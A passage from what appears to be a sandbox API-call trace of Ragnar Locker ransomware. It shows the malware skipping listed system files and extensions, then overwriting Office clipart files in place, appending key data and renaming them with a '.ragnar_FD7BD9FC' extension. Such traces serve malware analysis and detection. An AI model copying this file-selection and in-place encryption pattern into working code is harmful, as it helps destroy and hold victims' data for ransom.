lpOverlapped=0x0) returned 1 [0084.756] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.757] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.757] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.757] GetProcessHeap () returned 0x580000 [0084.757] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.757] CloseHandle (hObject=0xf4) returned 1 [0084.757] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF" [0084.757] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF.ragnar_FD7BD9FC" [0084.757] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152568.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152568.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.757] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd28, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152570.WMF", cAlternateFileName="")) returned 1 [0084.758] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.758] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0152570.WMF" | out: lpString1="J0152570.WMF") returned="J0152570.WMF" [0084.758] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF") returned=".WMF" [0084.758] lstrcmpiW (lpString1="J0152570.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.758] lstrcmpiW (lpString1="J0152570.WMF", lpString2="autorun.inf") returned 1 [0084.758] lstrcmpiW (lpString1="J0152570.WMF", lpString2="boot.ini") returned 1 [0084.758] lstrcmpiW (lpString1="J0152570.WMF", lpString2="bootfont.bin") returned 1 [0084.758] lstrcmpiW (lpString1="J0152570.WMF", lpString2="bootsect.bak") returned 1 [0084.758] lstrcmpiW (lpString1="J0152570.WMF", lpString2="bootmgr") returned 1 [0084.758] lstrcmpiW (lpString1="J0152570.WMF", lpString2="bootmgr.efi") returned 1 [0084.758] lstrcmpiW (lpString1="J0152570.WMF", lpString2="bootmgfw.efi") returned 1 [0084.758] lstrcmpiW (lpString1="J0152570.WMF", lpString2="desktop.ini") returned 1 [0084.758] lstrcmpiW (lpString1="J0152570.WMF", lpString2="iconcache.db") returned 1 [0084.758] lstrcmpiW (lpString1="J0152570.WMF", lpString2="ntldr") returned -1 [0084.758] lstrcmpiW (lpString1="J0152570.WMF", lpString2="ntuser.dat") returned -1 [0084.758] lstrcmpiW (lpString1="J0152570.WMF", lpString2="ntuser.dat.log") returned -1 [0084.758] lstrcmpiW (lpString1="J0152570.WMF", lpString2="ntuser.ini") returned -1 [0084.758] lstrcmpiW (lpString1="J0152570.WMF", lpString2="thumbs.db") returned -1 [0084.758] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.758] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.758] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.758] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.758] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.758] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.758] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.758] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152570.wmf")) returned 0x20 [0084.760] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152570.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.761] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3368) returned 1 [0084.761] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xd1f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.761] GetProcessHeap () returned 0x580000 [0084.761] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.761] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.762] VirtualAlloc (lpAddress=0x0, dwSize=0xd28, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.762] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.762] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.762] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xd28, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xd28, lpOverlapped=0x0) returned 1 [0084.763] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.763] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xd28, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.763] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xd28, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xd28, lpOverlapped=0x0) returned 1 [0084.763] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xd28, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.763] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.763] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xd28, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.763] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.763] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.763] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.764] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.764] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.764] GetProcessHeap () returned 0x580000 [0084.764] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.764] CloseHandle (hObject=0xf4) returned 1 [0084.764] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF" [0084.764] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF.ragnar_FD7BD9FC" [0084.764] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152570.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152570.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.764] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2ab4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152590.WMF", cAlternateFileName="")) returned 1 [0084.765] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.765] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0152590.WMF" | out: lpString1="J0152590.WMF") returned="J0152590.WMF" [0084.765] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF") returned=".WMF" [0084.765] lstrcmpiW (lpString1="J0152590.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.765] lstrcmpiW (lpString1="J0152590.WMF", lpString2="autorun.inf") returned 1 [0084.765] lstrcmpiW (lpString1="J0152590.WMF", lpString2="boot.ini") returned 1 [0084.765] lstrcmpiW (lpString1="J0152590.WMF", lpString2="bootfont.bin") returned 1 [0084.765] lstrcmpiW (lpString1="J0152590.WMF", lpString2="bootsect.bak") returned 1 [0084.765] lstrcmpiW (lpString1="J0152590.WMF", lpString2="bootmgr") returned 1 [0084.765] lstrcmpiW (lpString1="J0152590.WMF", lpString2="bootmgr.efi") returned 1 [0084.765] lstrcmpiW (lpString1="J0152590.WMF", lpString2="bootmgfw.efi") returned 1 [0084.765] lstrcmpiW (lpString1="J0152590.WMF", lpString2="desktop.ini") returned 1 [0084.765] lstrcmpiW (lpString1="J0152590.WMF", lpString2="iconcache.db") returned 1 [0084.765] lstrcmpiW (lpString1="J0152590.WMF", lpString2="ntldr") returned -1 [0084.765] lstrcmpiW (lpString1="J0152590.WMF", lpString2="ntuser.dat") returned -1 [0084.765] lstrcmpiW (lpString1="J0152590.WMF", lpString2="ntuser.dat.log") returned -1 [0084.765] lstrcmpiW (lpString1="J0152590.WMF", lpString2="ntuser.ini") returned -1 [0084.765] lstrcmpiW (lpString1="J0152590.WMF", lpString2="thumbs.db") returned -1 [0084.765] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.765] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.765] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.765] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.765] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.765] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.765] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.765] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152590.wmf")) returned 0x20 [0084.765] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152590.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.766] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=10932) returned 1 [0084.766] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2aab, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.766] GetProcessHeap () returned 0x580000 [0084.766] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.766] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.768] VirtualAlloc (lpAddress=0x0, dwSize=0x2ab4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.768] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.768] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.768] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2ab4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2ab4, lpOverlapped=0x0) returned 1 [0084.769] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.769] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2ab4, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.769] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2ab4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2ab4, lpOverlapped=0x0) returned 1 [0084.769] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2ab4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.769] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.769] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2ab4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.769] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.769] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.770] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.770] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.770] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.770] GetProcessHeap () returned 0x580000 [0084.770] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.770] CloseHandle (hObject=0xf4) returned 1 [0084.770] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF" [0084.770] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF.ragnar_FD7BD9FC" [0084.770] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152590.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152590.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.771] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x18c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152594.WMF", cAlternateFileName="")) returned 1 [0084.771] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.771] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0152594.WMF" | out: lpString1="J0152594.WMF") returned="J0152594.WMF" [0084.771] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF") returned=".WMF" [0084.771] lstrcmpiW (lpString1="J0152594.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.771] lstrcmpiW (lpString1="J0152594.WMF", lpString2="autorun.inf") returned 1 [0084.771] lstrcmpiW (lpString1="J0152594.WMF", lpString2="boot.ini") returned 1 [0084.771] lstrcmpiW (lpString1="J0152594.WMF", lpString2="bootfont.bin") returned 1 [0084.771] lstrcmpiW (lpString1="J0152594.WMF", lpString2="bootsect.bak") returned 1 [0084.771] lstrcmpiW (lpString1="J0152594.WMF", lpString2="bootmgr") returned 1 [0084.771] lstrcmpiW (lpString1="J0152594.WMF", lpString2="bootmgr.efi") returned 1 [0084.771] lstrcmpiW (lpString1="J0152594.WMF", lpString2="bootmgfw.efi") returned 1 [0084.771] lstrcmpiW (lpString1="J0152594.WMF", lpString2="desktop.ini") returned 1 [0084.771] lstrcmpiW (lpString1="J0152594.WMF", lpString2="iconcache.db") returned 1 [0084.771] lstrcmpiW (lpString1="J0152594.WMF", lpString2="ntldr") returned -1 [0084.771] lstrcmpiW (lpString1="J0152594.WMF", lpString2="ntuser.dat") returned -1 [0084.771] lstrcmpiW (lpString1="J0152594.WMF", lpString2="ntuser.dat.log") returned -1 [0084.771] lstrcmpiW (lpString1="J0152594.WMF", lpString2="ntuser.ini") returned -1 [0084.771] lstrcmpiW (lpString1="J0152594.WMF", lpString2="thumbs.db") returned -1 [0084.771] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.771] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.771] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.771] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.771] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.771] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.771] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.771] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152594.wmf")) returned 0x20 [0084.771] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152594.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.772] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=6340) returned 1 [0084.772] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x18bb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.772] GetProcessHeap () returned 0x580000 [0084.772] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.772] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.773] VirtualAlloc (lpAddress=0x0, dwSize=0x18c4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.773] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.773] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.774] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x18c4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x18c4, lpOverlapped=0x0) returned 1 [0084.774] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.774] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x18c4, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.774] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x18c4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x18c4, lpOverlapped=0x0) returned 1 [0084.775] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x18c4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.775] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.775] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x18c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.775] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.775] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.775] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.775] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.775] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.775] GetProcessHeap () returned 0x580000 [0084.775] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.775] CloseHandle (hObject=0xf4) returned 1 [0084.775] lstrcpyW (in: lpString1=0x1eaae0, 